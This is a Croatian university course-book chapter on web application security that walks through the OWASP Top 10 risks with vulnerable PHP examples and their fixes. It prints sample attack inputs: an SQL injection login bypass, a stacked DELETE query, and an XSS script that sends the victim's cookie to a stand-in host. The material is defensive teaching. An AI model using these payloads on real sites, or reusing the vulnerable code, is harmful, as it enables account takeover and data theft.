**SVEUČILIŠTE U ZAGREBU**

**FAKULTET ORGANIZACIJE I INFORMATIKE VARAŽDIN**

**Mario Jugurčić**

**KNJIGA IZ KOLEGIJA SIGURNOST INFORMACIJSKIH SUSTAVA**

**Web aplikacijska sigurnost**

**Mentor:**

**Prof. dr.sc. Željko Hutinski**

**mag. Inf. Tonimir Kišasondi**

**Varaždin, 2013.**

**Sadržaj**

[1. Web aplikacijska sigurnost 1](#_Toc377067346)

[1.1. Injection 3](#_Toc377067347)

[1.2. XSS (Cross site scripting) 5](#_Toc377067348)

[1.3. Krivo izvedena autorizacija i upravljanje sesijama 8](#_Toc377067349)

[1.4. Nesigurne reference prema direktnim objektima 9](#_Toc377067350)

[1.5. Kriva konfiguracija sigurnosti 10](#_Toc377067351)

[1.6. Otkrivanje osjetljivih podataka 11](#_Toc377067352)

[1.7. Korištenje komponenti sa poznatim ranjivostima 12](#_Toc377067353)

[1.8. Neprovjerena presumjeravanja 13](#_Toc377067354)

[2. Literatura 14](#_Toc377067355)

# 

# Web aplikacijska sigurnost

Web aplikacije postale su jedna od najvećih točaka interesa razvoja softvera. Tržište je ogromno, gotovo svaka manja firma ili poduzeće imaju svoje web aplikacije i sigurnost informacijskih sustava uvelike ovisi o sigurnosti web aplikacija. Budući da bilo koja imalo veća web aplikacija sadrži bazu podataka u kojoj se nalaze osjetljivi podaci (o korisnicima, o poslovanju firme i sl.) potrebno je uložiti vremena i truda kako bi se napravila sigurna web aplikacija i kako se ne bi kompromitirali vlasnici i korisnici web aplikacije. Uvijek se treba voditi mišlju da nije dovoljno da aplikacija radi već ona mora biti i sigurna. Česta greška koja se radi je napraviti funkcionalnosti aplikacije, a zatim ispunjavati uvjete sigurnosti. Sigurnost se mora implementirati prilikom pisanja koda, u svakoj fazi obratiti pozornost na nju, a ne nikako na kraju jer ćemo sigurno nešto izostaviti. Osim provjera sigurnosti prilikom pisanja aplikacije, provjere je potrebno napraviti i prilikom svake izmjene izvornog koda, prilikom zamjene osoba nadležnih za održavanje i rad aplikacije te periodički u unaprijed određenim razdobljima. Kod implementacije i provjere sigurnosti web aplikacije jedino ispravno razmišljanje je da korisniku ne vjerujemo. Odnosno moramo pokušati razmišljati kao zlonamjerni korisnik i vidjeti gdje sve može iskoristiti slabosti naše aplikacije. Najčešće se sigurnost web aplikacije svodi na to da pronađemo sigurne i provjerene servere koji održavaju opremu i softver, zatim da imamo dobar sustav upravljanja greškama koji će korisniku javiti prikladnu grešku, a programerima dojaviti sve tehničke informacije o grešci. Te kao glavnu mjeru obrane moramo filtrirati ulazne podatke koji dolaze od korisnika putem formi, http zahtjeva, kolačića i sl. Prilikom provjere sigurnosti web aplikacije poželjno je taj posao prepustiti nekim vanjskim korisnicima koji nude tu uslugu. Oni će taj posao napraviti objektivnije i u većini slučajeva kvalitetnije. No, također postoje i programska rješenja koja ukazuju na propuste u aplikaciji. U ovom poglavlju objasniti ćemo stvarne napade, kako u teoriji tako i u praksi.

Iako u web aplikacijskoj sigurnosti postoji puno podjela napada i klasifikacija istih, mi smo se ovdje odlučili čitateljima prikazati WASC model. WASC stoji za Web applications security consortium. To je neprofitna organizacija osnovana 2004. godine koja se bavi pisanjem, poboljšavanjem i promoviranjem sigurnosnih standarda na internetu. Tako su napravili sljedeću klasifikaciju prijetnji web aplikacijama:

1. Autentifikacija
   1. Brute force
   2. Nedovoljna autentifikacija
   3. Slaba provjera prilikom vraćanja izgubljene lozinke
2. Autorizacija
   1. Nagađanje uvjerenja/sesije o korisniku
   2. Nedovoljna autorizacija
   3. Loše riješeno vrijeme isticanja sesije
   4. Fiksacija sesije
3. Napadi na strani klijenta
   1. Namještanje sadržaja
   2. Izvršavanje napadačkog koda (XSS)
4. Izvršavanje naredbi
   1. Buffer overflow
   2. Format string napadi
   3. LDAP injekcija
   4. Izdavanje zapovijedi OS
   5. SQL injekcija
   6. SSI injekcija
   7. XPath injekcija
5. Razotkrivanje informacija
   1. Izlistavanje direktorija
   2. Curenje informacija
   3. Otkrivanje prečaca
   4. Predvidive lokacije resursa
6. Logični napadi
   1. Zloupotreba funkcionalnosti
   2. DOS napadi
   3. Nedovoljna zaštita protiv automatiziranih radnji
   4. Nedovoljna kontrola procesa

No, budući da je ovo veliko područje i da kada bi se htjelo kvalitetno obraditi ove teme mogla bi se napisati jedna cijela nova knjiga, mi ćemo se ovdje ograničiti na jedne od najčešćih napada. Popis najčešćih napada daje OWASP (The open web application security project).

## Injection

U ovom dijelu ponajprije ćemo se baviti sql injection problemima no za početak reći ćemo nešto što se odnosi na sve vrste injection napada. Ovo je jedan od najčešćih napada. Kako bi se kvalitetno zaštitili važno je shvatiti da injection može napraviti svatko, od vanjskog korisnika, unutarnjeg korisnika pa sve do administratora. Suština ovog napada sastoji se u tome da napadač pronađe ranjivi upit na bazu podataka i izmjeni ga prema svojim potrebama. Ovo se najčešće radi kroz nezaštićene korisničke unose koji direktno prosljeđuju unos upitu. Injection se otkriva vrlo lako pregledavanjem izvornog koda, a vrlo teško samim testiranjem aplikacije. Napad može prouzročiti gubitak ili oštećenje podataka, onemogućiti pristup aplikaciji, a ponekad i preuzimanje vlasničkih ovlasti. Postoje tri osnovna načina za sprječavanje injection napada.

1. Korištenjem nekog api-ja. Neki bolji api ima mogućnost da nas upozori na ranjivost koda, a također ima i ugrađene funkcije koje stoje na raspolaganju programeru i kojima se sprječavaju standardni injection napadi.
2. Korištenjem funkcije escape characters, o ovome će biti kasnije detaljnijeg govora
3. Korištenjem white list, odnosno popisa unosa koji su dozvoljeni.

Sada kada smo rekli osnove o injection vrsti napada možemo se posvetiti php aplikacijama i sql injection napadima. PHP je vrlo moćan, ali i vrlo raširen programski jezik. Upravo zbog svoje popularnosti na meti je stalnih napada i stalnih pokušaja pronalaska novih sigurnosnih propusta. Sljedećih nekoliko jednostavnih primjera služit će svrsi i pokazati nam što se sve može sa sql injection napadom.

Uzet ćemo za primjer zaobilaženje login sustava. Ovdje imamo prikazan tipičan php kod koji provjerava postoji li korisnik u bazi podataka. Uzima se korisničko ime i lozinka iz GET varijabli te se prosljeđuju sql upitu. Ukoliko upit sadrži neki odgovor tada znamo da postoji taj korisnik i ispisujemo poruku dobrodošlice.

<?php

$user = $\_GET['user'];

$pass = $\_GET['pass'];

$query = "SELECT \* FROM korisnik WHERE username = '**$user**'

AND password = '**$pass**'";

$result = **mysql\_query**($query);

**if** (mysql\_numrows($result)) {

**echo** "Uspjena prijava u sustav.";

}

?>

No, problem s ovim kodom je taj što nemamo nikakvog uvida što korisnik upisuje. Primjer jednostavnog zaobilaženja ovakvog login sustava je sljedeći. U polja za unos korisničkog imena i lozinke unesimo sljedeći kod: blabla' OR '1' = '1

Na ovaj način naš sql upit izgledao bi ovako:

**SELECT** **\*** **FROM** korisnik **WHERE** username **=** 'blabla' **OR** '1'**=**'1' **AND**

password **=** 'blabla' **OR** '1'**=**'1'**;**

Ovim upitom ne moramo znati niti korisničko ime niti lozinku, dovoljno je upisati bilo što, a budući da smo u upit uspjeli smjestiti OR klauzulu koja u našem slučaju ispituje je li 1=1, naš upit će uvijek biti istinit i php kod će nas tretirati kao logiranog korisnika. Podaci s kojima ćemo biti prijavljeni biti će podaci od prvog korisnika upisanog u bazu podataka.

Na više načina se možemo zaštiti od ove vrste napada, a jedan od njih je koristiti ugrađenu funkciju mysql\_real\_escape\_string(). Naime ako funkcija u unosu pronađe neki od specijalnih znakova koji se koriste u mysql naredbama tada ispred njih stavlja backslash i tako sprječava njihovo interpretiranje kao dio sql naredbe.

Naš sigurni kod izgledao bi ovako:

<?php

$user = **mysql\_real\_escape\_string**($\_GET['user']);

$pass = **mysql\_real\_escape\_string**($\_GET['pass']);

$query = "SELECT \* FROM korisnik WHERE username = '**$user**'

AND password = '**$pass**'";

$result = **mysql\_query**($query);

**if** (mysql\_numrows($result)) {

**echo** "Uspjena prijava u sustav.";

}

?>

Također moguće je pokušati dodati još neku sql naredbu koja bi se izvršila nakon prvotno zadane. Naime mogli bi u input polje za password upisati:

proba; DELETE \* FROM korisnik

U ovom slučaju nezaštićeni unos bi se prenio u sql naredbu i napadač bi upio obrisati sve podatke iz tablice korisnik. Ili bi mogao dodati bilo koju drugu sql naredbu. Kako bi se zaštitili od ovoga također se koristi mysql\_real\_escape\_string(). Napomenimo samo kako funkcija mysql\_query ne podržava izvođenje više od jedne naredbe pa ovakav napad ne bi uspio niti bez zaštite. No, za primjer ugrađene funkcije za PostgreSQL ili SQLite podržavaju izvođenje više naredbi i tada moramo obavezno koristiti neku vrstu zaštite.

Još jedna popularna vrsta sql injection napada je slijepi napad (blind). Naime u ovom slučaju web aplikacija je dizajnirana da na temelju nekih parametara stvori upit na bazu podataka i prikaže određenu stranicu. Ali razlika u odnosu na prethodne primjere je što aplikacija ne ispisuje na ekran rezultat upita, već generira neku stranicu ili poruku o grešci. Na temelju pokušaja i odgovora napadač mora shvatiti sintaksu tablica i pokušati pomoću logičkih upita doći do željenih podataka. Za primjer uzmimo jednostavnu galeriju slika. Neka je url sljedeći: http://www.primjer.hr/galerija.php?id=1

Na temelju ovog linka i vrijednosti id varijable aplikacija će napraviti upit i generirati stranicu. Prva stvar koju će napadač provjeriti je ranjivost aplikacije na sql injection napad. To će napraviti jednostavno tako da unese u link doda još sql klauzulu and 1=1. Ako aplikacija vrati istu stranicu tada je ranjiva na sql injection napade. Ako se ne učita ili javi pogrešku tada je zaštićena. Dalje se treba poigrati i pokušati izvući željene informacije.

Ovdje smo naveli zbilja jednostavne primjere sql injection napada. Može se još mnogo toga napraviti s injection napadom, a ovdje je nekoliko primjera:

* Dohvatiti podatke o informacijskoj shemi BP
* Dohvatiti nazive svih tablica u bazi podataka
* Dohvatiti shemu svake pojedine tablice
* Izmjeniti podatke ili ih obrisati
* Izvršiti DOS napad
* itd...

## XSS (Cross site scripting)

XSS je napad koji omogućuje izvršavanje malicioznog koda na korisničkoj strani. Maliciozni kod ubacuje napadač u obliku skripte. Ovaj problem se javlja kada web aplikacija dopušta korisnički unos podataka a da ih pri tome ne provjerava. Prijetnja aplikaciji je svatko tko šalje unose, neovisno bio to vanjski korisnik, unutarnji korisnik ili sami administrator. S ovom vrstom napada može se doći do npr. korisničkih kolačića, ukrasti sesiju, prepisati sadržaj HTML stranice, preusmjeriti korisnika na drugu stranicu itd. XSS napad može biti pohranjeni ili perzistentni , reflektirajući ili neperzistentni i DOM bazirani. Pohranjeni XSS napad, kao što mu i ime kaže, trajno je spremljen na serveru web aplikacije. Maliciozni kod može se nalaziti u bazi podataka, u komentarima korisnika, u postovima foruma itd. Prilikom interakcije s web aplikacijom, korisnik prilikom odgovora na zahtjev za određenim sadržajem preuzima i maliciozni kod. Reflektirajući je najčešći oblik XSS napada. Događa se kada aplikacija na temelju HTTP upita prikazuje rezultate u obliku stranice a da pri tome nije provjerila upit. Najčešće se korisnika prevari preko zamaskiranog linka koji sadrži cijelu skriptu u sebi. Korisniku se takav link može poslati preko neke druge web stranice, preko e-maila, kroz IM sustav i sl. Najčešći primjer ovakvog napada je search opcija. Većina aplikacija u odgovoru na upit prikazuje i upit koji se tražio čime su direktno ranjive. Za razliku od prethodna dva XSS napa, DOM bazirani XSS napad je orijentiran na iskorištavanje ranjivosti na korisničkoj strani (npr. ranjivosti javascripta). Kada se pomoću javascripta mijenjaju DOM elementi potrebno je voditi računa i na sigurnost. Jednostavan primjer je ako imamo opciju za unos neke varijable bilo putem $\_GET ili \_$\_POST metoda ili na neki drugi način. Ako javascript tijekom promjene DOM elemenata ispisuje takve varijable na stranicu otvoreni smo za XSS napad.

OWASP je sastavio popis mogućih zaštita od XSS napada, a mi ćemo ih ovdje nabrojati:

Pravilo 0: Nikada nemojte ubacivati neprovjerene podatke osim u za to predviđene lokacije

Pravilo 1: Koristite HTML escape funkcije prije umetanja neprovjerenih podataka unutar

HTML elemenata

Pravilo 2: Koristite attribute escape funkcije prije umetanja neprovjerenih podataka unutar

atributa HTML elemenata

Pravilo 3: Koristite javascript escape funkcije prije umetanja neprovjerenih podataka u

javascript varijable

Pravilo 3.1: Provjeravajte JSON podatke unutar HTML-a i čitajte ih s JSON.parse

Pravilo 4: Provjeravajte vrijednosti CSS atributa prije njihovog umetanja u HTML

Pravilo 5: Provjeravajte podatke koji se prenose preko $\_GET i $\_POST varijabli

Pravilo 6: Sredite HTML oznake s posebnim bibliotekama predviđenim za to

Pravilo 7: Spriječite DOM bazirane XSS napade

Primjer krađe kolačića:

Ovdje je primjer jedne jednostavne html forme za slanje komentara:

<form name=**"input"** action=**"komentari.php"** method=**"get"**>

**Username:** <input type=**"text"** name=**"user"**></br>

**Comment:** <textarea type=**"text"** name=**"comment"** rows=**"5"** cols=**"50"**></textarea></br>

<input type=**"submit"** value=**"Submit"**>

</form>

Nezaštićena php skripta izgledala bi ovako:

<?php

$user = $\_GET['user'];

$comment = $\_GET['comment'];

**echo** "**$user** wrote: <br/>";

**echo** $comment;

?>

Ovo je česti slučaj ranjivosti aplikacije, sa sljedećim kodom ćemo to i demonstrirati.

<script>document.location='http://www.example.com/cookie.php?kolacic=' + document.cookie</script>

Unošenjem ovog koda u jedno od dva polja radimo sljedeće. Govorimo web pregledniku da preusmjeri korisnika na gore navedenu adresu i da kao vrijednost $\_GET varijable kolacic stavi stvarni kolačić korisnika. Ovo je vrlo jednostavan primjer, a vrlo opasan. Zaštiti se možemo vrlo lako. Prva opcija je koristiti php funkciju htmlspecialchars koja sprječava izvršavanje html koda i prikazuje ga kao ispis na stranici. Druga funkcija slične namjene je htmlentities. Druga opcija je koristiti php funkciju strip\_tags koja iz navedenog unosa izbacuje sve html tagove i kao rezultat vraća ostatak teksta.

Primjer DOM baziranog XSS napada:

Uzmimo za primjer da javascript generira stranicu na kojoj se ispisuju podaci o logiranom korisniku, među ostalim i njegovo ime koje se dohvaća iz $\_GET varijable „name“. Kod je sljedeći:

<body>

**Dobrodosao:** </br>

<script>

document.write**(**decodeURIComponent**(**document.location.href.substring**(**document.location.href.indexOf**(**"default="**)+**8**)));**

</script>

</body>

a primjer linka s kojim pozivamo stranicu neka bude:

http://www.some.site/page.html?name=Pero

Ovaj javascript kod jednostavno uzima vrijednost $\_GET varijable „name“ i ispisuje ga na ekran. Ovaj kod je ranjiv jer nema provjere vrijednosti $\_GET varijable. Jednostavan primjer na koji možemo iskoristiti ovu aplikaciju je sljedeći:

http://www.some.site/page.html?name=<script>alert(document.cookie)</script>

Vidimo da smo unutar default varijable uspjeli ubaciti cijelu novu skriptu koja će se izvršiti prilikom otvaranja stranice. U ovom primjeru za korisnika se neće dogoditi ništa strašno, samo će se njegov kolačić ispisati u pop up prozoru prilikom otvaranja stranice. Ovo je najbezazleniji primjer ali unutar te skripte može se postaviti bilo što, npr. kao u prethodnom primjeru možemo poslati kolačiće na neki drugi server gdje će se zapisati.

## Krivo izvedena autorizacija i upravljanje sesijama

Problemi s autorizacijom i upravljanjem sesijama većinom nastaju kada aplikacija koristi svoj sustav za logiranje i upravljanje podacima umjesto nekog već provjerenog. Većinom se propusti prilikom implementacije sustava ni ne primijete dok ne bude prekasno. Najčešći propusti nalaze se u odjavi korisnika, upravljanju lozinkama, vremenu neaktivnosti korisnika, zapamti me opciji, tajnim pitanjima i tome slično. Ovakvi propusti mogu ugroziti sigurnost cijele aplikacije jer je ponekad moguće doći i do svih korisničkih računa a nakon toga napadač ima ovlasti kao i svaki korisnik pojedinačno. Prilikom napada na sustav većinom se ciljaju privilegirani računi (moderatori, administratori, vip članovi i sl.). Prijetnje sustavu mogu doći iz više izvora, no većinom one dolaze od anonimnih vanjskih napadača. Moguće je još da korisnici pokušavaju ukrasti tuđe račune, a postoji i opcija da imamo uljeze koji pokušavaju prekriti svoje akcije. Prema OWASP-u ovdje je 7 natuknica za provjeru sustava za autentifikaciju i upravljanje sesijama:

1. Korisnički podaci za logiranje nisu spremljeni koristeći hash ili funkcije za enkripciju
2. Korisnički podaci se mogu pogoditi ili prepisati kroz slabi sustav upravljanja korisničkim podacima (promjena lozinke, povratak lozinke, slabi ID sesije...)
3. ID sesije je prikazan u URL-u
4. ID sesije je moguće promijeniti pomoću napada na sesiju
5. ID sesije nema vrijeme trajanja, ili sustav nema pravilno implementiran sustav odjave
6. ID sesije nije promijenjen nakon uspješne prijave
7. Lozinke, ID sesije i ostali povjerljivi podaci se šalju nepovjerljivim vezama

Ovdje imamo primjere jednostavnog iskorištavanja slabog sustava:

Primjer 1 – rezervacija avionskih karata

Prilikom rezervacije avionske karte aplikacija nam prikazuje detalje o našoj rezervaciji na novoj stranici. Link na tu stranicu je sljedeći:

http://tkoletivrijedi.hr/sale/saleitemsjsessionid=

2P0OC2JSNDLPSKHCJUN2JV?dest=Brasil

Kao što vidimo unutar link se nalazi i naš ID sesije. Ako neki korisnik pošalje ovaj link nekom poznaniku u tom slučaju taj poznanik je ulogiran kao naš korisnik i ima sve njegove ovlasti i pristup njegovim podacima.

Primjer 2 – nepravilno postavljanje vremena neaktivnosti korisnika

Svaka aplikacija mora imati mogućnost da automatski odjavi korisnika nakon određenog vremena neaktivnosti. Uzmimo za primjer javne knjižnice ili slična mjesta. Ako se neki korisnik ulogira u neku web aplikaciju i prilikom završetka rada se ne odjavi već samo zatvori preglednik, tada ako imamo loš sustav automatske odjave postoji mogućnost da neki drugi korisnik posjeti istu web aplikaciju i pronađe prijavljenog prethodnog korisnika.

Primjer 3 – Loš sustav enkripcije lozinki

Sve lozinke moraju biti pohranjene u bazi podataka u obliku svojih hash vrijednosti ili moraju biti enkriptirane. Zamislimo scenarij gdje napadač uspije doći do baze podataka i može iščitati sve podatke iz nje o korisnicima. Ako nam lozinke nisu zaštićene tada ima pristup svim računima i sigurnost cijele aplikacije je ugrožena.

## Nesigurne reference prema direktnim objektima

Ova vrsta propusta u aplikacijama očituje se kada korisnik uspije promjenom nekih parametara pristupiti dijelovima aplikacije kojima inače ne bi trebao imati pristup. Ovaj problem nastaje većinom jer nekad aplikacije znaju koristiti stvarna imena ili ključeve objekata prilikom generiranja web stranica. Prilikom toga neke aplikacije ne provjeravaju je li korisnik autoriziran za pristup traženom sadržaju. Prijetnja sustavu su svi korisnici koji imaju pristup tim ranjivim dijelovima aplikacije, budući da ako promjene određeni parametar mogu pristupiti dijelu aplikacije namjenjenom drugom korisniku. Ovakav propust ima utjecaj na povjerljivost i integritet podataka. Prilikom provjere sigurnosti aplikacije moramo za svaki zaštićeni sadržaj provjeriti vrši li aplikacija provjeru korisnika, odnosno može li korisnik pristupiti sadržaju do kojega ne bi smio. Ovakvu vrstu propusta moramo samo tražiti u kodu jer nam automatizirani programi za provjeru sigurnosti ovdje ne mogu pomoći. Ovdje imamo primjer ovakvog propusta:

<?php

$stmt = $dbh->prepare("SELECT \* FROM accounts where account = ?");

**if** ($stmt->execute(**array**($\_GET['account']))) {

**while** ($row = $stmt->fetch()) {

**print\_r**($row);

}

}

?>

U ovom primjeru imamo jedan pripremljen sql upit koji na temelju $\_GET varijable vrši upit na bazu podataka. Ovo je nezaštićeni kod jer korisnik može izmjeniti URL i zahtjevati podatke od nekog drugog korisnika.

## Kriva konfiguracija sigurnosti

Ako smo krivo konfigurirali aplikaciju ili zaboravili uključiti neke opcije sigurnosti tada nam se može dogoditi da napadač kroz neki naš sitni propust dođe do kontrole nad cijelom aplikacijom. Primjer može biti neka ranjiva stranica koja nam je ostala na serveru a ne koristi se inače u aplikaciji, zatim neriješeni propusti na ostalim stranicama, to mogu biti i inicijalni računi i njihove lozinke koje smo zaboravili promijeniti i sl. Kroz sve ove propuste napadač može nedopušteno ući u sustav ili steći znanje o konfiguraciji servera i sustava. Napadač u ovom slučaju može biti ili vanjski korisnik ili unutarnji korisnik aplikacije koji želi ugroziti rad aplikacije. Ovu vrstu propusta moguće je napraviti bilo gdje, od web servera, aplikacijskog servera, baze podataka, korištenog framework-a i raznih drugih mjesta. Zbog toga developeri i administratori sustava moraju zajedničkim naporima pokušati spriječiti i svesti na minimum sve moguće propuste. Kod ovakvih propusta najviše stradavaju podaci do kojih napadač može doći i ovisno o namjerama ih izmijeniti, kopirati ili obrisati. Zamislimo samo kako bi to utjecalo na ugled vlasnika aplikacije, odnosno vlasnika neke veće firme kada bi se doznalo. Današnji se alati za provjeru sigurnosti web aplikacija vrlo dobro nose s ovakvim propustima pa će nam u većini slučajeva javiti ako smo krivo postavili neke često korištene sigurnosne opcije, ako nam sustav ne koristi najnovije verzije softvera, ako koristim inicijalne račune i lozinke, ako koristimo nepotrebne skripte i servise i sl. OWASP je priredio listu najčešćih propusta koju možemo pogledati i provjeriti u našoj aplikaciji:

1. Softver nije ažuriran (OS, Web/App server, SUBP, aplikacije, biblioteke)
2. Imamo instalirane nepotrebne dodatke (portovi, servisi, stranice, računi, privilegije)
3. Koristimo inicijalne račune i njihove lozinke
4. Sustav za upravljanje greškama prikazuje korisniku tehničke informacije
5. Sigurnosne postavke u aplikacijama nisu postavljene na sigurne opcije

A ovdje su neke smjernice kako se zaštiti:

* Koristiti postojeće sustave koje je lako konfigurirati (jednostavnim izmjenama lozinki) koliko je god to moguće
* Imati riješen sustav koji će redovito ažurirati softver i korištene biblioteke
* Redovito provjeravati aplikaciju automatiziranim alatima

Primjer 1: Prilikom podešavanja sustava automatski se instalirala i administratorska konzola koju mi kasnije nismo onemogućili niti promijenili lozinku. Napadač je to otkrio i dobio pristup cjeloj aplikaciji.

Primjer 2: Aplikacijski server dolazi sa testnom aplikacijom koju nismo uklonili prije puštanja sustava u rad. Napadač to otkriva, a budući da se testne aplikacije toliko ne bave sigurnošću vrlo ih se lako može iskoristiti.

## Otkrivanje osjetljivih podataka

Kada govorimo o osjetljivim podacima tada mislimo na one podatke koji predstavljaju neku vrijednost za firmu i do kojih nije lako doći. To mogu biti podaci dobiveni kroz neka istraživanja, eksperimente, ispitivanja i slično. Isto tako to mogu biti osjetljivi korisnički podaci poput lozinka, brojeva kreditnih kartica ili privatnih informacija. Prva stvar koju trebamo imati na umu je tko sve ima pristup do podataka ili sigurnosnih kopija podataka, bio to vanjski ili unutarnji korisnik. Ovo uključuje sva stanja podataka, od spremljenih podataka na diskovima, do njihovih transakcija pa do podataka spremljenih u korisničkim preglednicima. Česta je zabluda da napadači dolaze do podataka razbijanjem enkripcije. To je mukotrpan posao i zahtjeva puno vremena. Napadači obično pronalaze neke zaobilazne metode ili iskorištavaju slabosti postojećeg sustava. Tako najčešće kradu ključeve, kradu jasni tekst prije nego je kriptiran, izvršavaju napad „čovjeka u sredini“ i sl. Također vrlo česta greška koja se radi s osjetljivim podacima je ostaviti ih u izvornom obliku i tako ih pohraniti bez ikakve enkripcije. Nadalje ako se podaci kriptiraju tada se neke od češćih grešaka: korištenje slabog ključa enkripcije, korištenje slabog algoritma enkripcije, korištenjem slabog hash generatora lozinki i sl. Kod ove vrste slabosti uobičajeno je da ako se može doći do jednog podatka može se doći i do svih ostalih. Prema OWASP-u ovdje su dane neke smjernice za provjeru ranjivosti aplikacije:

1. Jesu li podaci spremljeni u jasnom obliku, uključujući i njihove backup-e
2. Prenose li se ti podaci u jasnom obliku, pogotovo preko interneta?
3. Koriste li se stari ili slabi kriptografski algoritmi?
4. Koriste li se slabi kriptografski ključevi?
5. Koriste li se standardi prijenosa podataka putem web preglednika?

Primjer 1: Sustav za kriptiranje podataka koristi automatski sustav kriptiranja sustava za upravljanje bazom podataka. No, to znači da se i prilikom čitanja podataka iz baze podataka oni automatski dekriptiraju. Ukoliko je sustav ranjiv na drugim mjestima, npr. sql injection, tada nam ta enkripcija podataka ne pomaže.

Primjer 2: Aplikacija ne koristi SSL za autentifikacijske stranice. Bez SSL-a moguće je prisluškivati promet i vrlo jednostavno doći do korisničkog kolačića. Nakon toga se napadač može predstavljati kao korisnik.

## Korištenje komponenti sa poznatim ranjivostima

Procjenjuje se da skoro svaka aplikacija pati od ovog nedostatka jer razvojni timovi ne vode toliku brigu oko ažuriranja komponenti. Ovdje ćemo naglasiti važnost ažuriranja softvera i biblioteka korištenih u razvoju aplikacije. Naime većinom kada razvojni tim prijeđe na novu verziju staru verziju više ne unaprjeđuju. U početku rada nove verzije vjerojatno će biti bugova i propusta no ako izdavač drži do sebe i svoje reputacije ubrzo će ih ispraviti. Svakako i uz ovo je preporučljivo prijeći na nove verzije i iz razloga što one vjerojatno podržavaju više stvari (tipa nove tehnologije i sl.) od starih i postoji realna mogućnost da ubrzaju rad našeg sustava. Za neke ranjive komponente (poput biblioteka) postoje automatizirani alati koji iskorištavaju njihove već poznate slabosti. Dakle napadač se ne mora niti potruditi pronaći ih, dovoljno je da samo zna da koristite određenu biblioteku. To može saznati na dva način, ili automatskim skeniranjem ili ručnom analizom. U većini slučajeva to nije problem za napadača osim ako se ranjiva komponenta ne nalazi skrivena „duboko“ u aplikaciji. Ako napadač otkrije ovakav propust u našoj aplikaciji tada u ovisnosti o slabosti može napraviti bilo što, od injekcija, XSS-a, autentifikacijskih propusta i sl. Napad može imati minimalne učinke ali isto tako može dati napadaču i priliku da preuzme cijeli sustav. Kada provjeravamo aplikacije za ranjivosti mogli bi probati sami ispitati korištene komponente za koje smatramo da su ranjive ali budući da se tu uglavnom radi o velikim bibliotekama vrlo je vjerojatno da to ne bi napravili dobro, ili jednostavno ne bi imali vremena detaljno analizirati kod. Također se vrlo često koriste open source biblioteke kod kojih autori nemaju volje ni motiva kvalitetno dokumentirati promjene u verzijama pa se moramo snaći i potražiti promjene u zajednicama koje se bave tim područjima. Upravo jedna od takvih zajednica je i NVD (National Vulnerability Database) gdje se pretragom mogu pronaći neki propusti u raznim bibliotekama i softveru. Uglavnom se propusti u takvim slučajevima odnose na dijelove korištenih komponenti pa kada dođemo do informacije da je upravo ta naša korištena komponenta ranjiva trebamo provjeriti u aplikaciji koristimo li baš taj njezin dio. Jedan od najboljih načina borbe protiv ovakvih propusta je da koristimo najnovije verzije komponenata jer kao što smo već rekli autori će često ispraviti propust iz prijašnje verzije u novoj verziji, a u staroj će ostaviti taj propust. Također jedna od opcija je i da ne koristimo dodatne komponente već da sami pišemo kod, no to danas i nije realna opcija jer su aplikacije obično opširne a rokovi za njihovo dovršavanje kratki. Iz tog razloga najbolje je koristiti provjerene komponente koje koristi dosta aplikacija i za koje znamo da autori ulažu vrijeme u njihovo poboljšanje. Prema OWASP-u ovdje su neke natuknice kako se nositi sa ovom vrstom problema:

1. Identificirajmo sve komponente i njihove verzije, uključujući i njihove zavisne komponente (npr. neke pluginove koji se koriste unutar biblioteka)
2. Pratimo sigurnost ovih komponenti u javnim bazama podataka, mailing listama projekta, mailing listama koje se bave sigurnošću i redovno ih ažurirajmo
3. Utemeljimo sigurnosnu praksu kod razvoja softvera, npr. zahtijevanje određenih praksi prilikom razvoj softvera, prolazak sigurnosnih testova i korištenje samo prihvatljivih komponenti s licencama
4. Gdje je to moguće probajte dodati dodatne sigurnosne mehanizme kako bi onemogućili ranjive dijelove komponenti, npr. zakomentirati dio nekorištenog koda

## Neprovjerena presumjeravanja

Napadač pripremi zlonamjerni link i zavara korisnika da ga posjeti. Većinom korisnici i ne primijete da su prevareni jer se čini da link vodi do povjerljive stranice. Kao prijetnju moramo uzeti sve one koji mogu korisnika prevariti da umjesto njih pošalje neki zahtjev našoj aplikaciji. To se može dogoditi ili preko druge stranice ili preko e-maila ili preko IM i sl. Prilikom razvoja aplikacija često se koriste interna preusmjeravanja korisnika na druge stranice, a vrlo često se to radi preko nekog parametra unutar html zahtjeva. Ako se taj parametar ne provjerava tada napadač može pristupiti bilo kojoj stranici. Ovo se inače lako otkriva u kodu, samo trebamo provjeriti preusmjeravanja gdje možemo ručno izmijeniti odredišnu stranicu. Ovakvi propusti mogu biti opasni jer napadač može prevariti korisnika kako i usmjeriti ga na neku stranicu gdje će ga inficirati sa malwerom, ili mu može ukrasti podatke, primjerice lozinke, broj kreditne kartice i sl. Korisnik i ne sluti da nešto nije u redu dok nije prekasno. Također opasno je i iz razloga ako napadač može manipulirati preusmjeravanjem ponekad može zaobići i autentifikacijske mjere. Dovoljno je samo da na stranici na koju smo preusmjereni nemamo provjeru autentificiranosti i napadač je zaobišao naše mjere. Prilikom provjere za ovu vrstu propusta trebamo provjeriti sva preusmjeravanja i provjeriti ako koristimo parametre jesu li implementirane metode provjere tih parametara. Prema OWASP-u ovdje su neke smjernice kako se zaštiti:

1. Izbjegnimo korištenje svih preusmjeravanja
2. Ako ih i koristimo, izbjegnimo korištenje korisničkih parametara
3. Ako ne možemo tada provjerimo parametre i provjerimo je li korisnik autoriziran za posjet preusmjerenoj stranici, OWASP je razvio ESAPI Java API koji se bavi ovim problemima i koji pomaže osigurati sigurnost aplikacije.

Uzmimo za primjer da aplikacija koristi posebnu stranicu za preusmjeravanja:

http://www.primjer.hr/preusmjeri.php?url=hehe.hr

Kao što vidimo ako aplikacija nema ugrađene mjere zaštite tada korisnika možemo preusmjeriti na bilo koju stranicu pomoću parametra url.

# Literatura

[1] Web Application Security Consortium: Threat Classification, <http://projects.webappsec.org/f/WASC-TC-v1_0.pdf> Dostupno: 09.01.2014.

[2] OWASP Top Ten Project, <https://www.owasp.org/index.php/OWASP_Top_Ten_Project#tab=OWASP_Top_10_for_2013> Dostupno: 09.01.2014.

[3] Babić Saša: Sigurnost PHP aplikacija, <http://www.salebab.net/sigurnost-php-aplikacija/> Dostupno: 09.01.2014.

[4] Secure Coding Cross Site Scripting, <http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting> Dostupno: 09.01.2014.

[5] CARNet, CERT, Iskorištavanje sigurnosnih propusta u Web aplikacijama, <http://www.cert.hr/sites/default/files/CCERT-PUBDOC-2005-04-117.pdf> Dostupno: 09.01.2014.

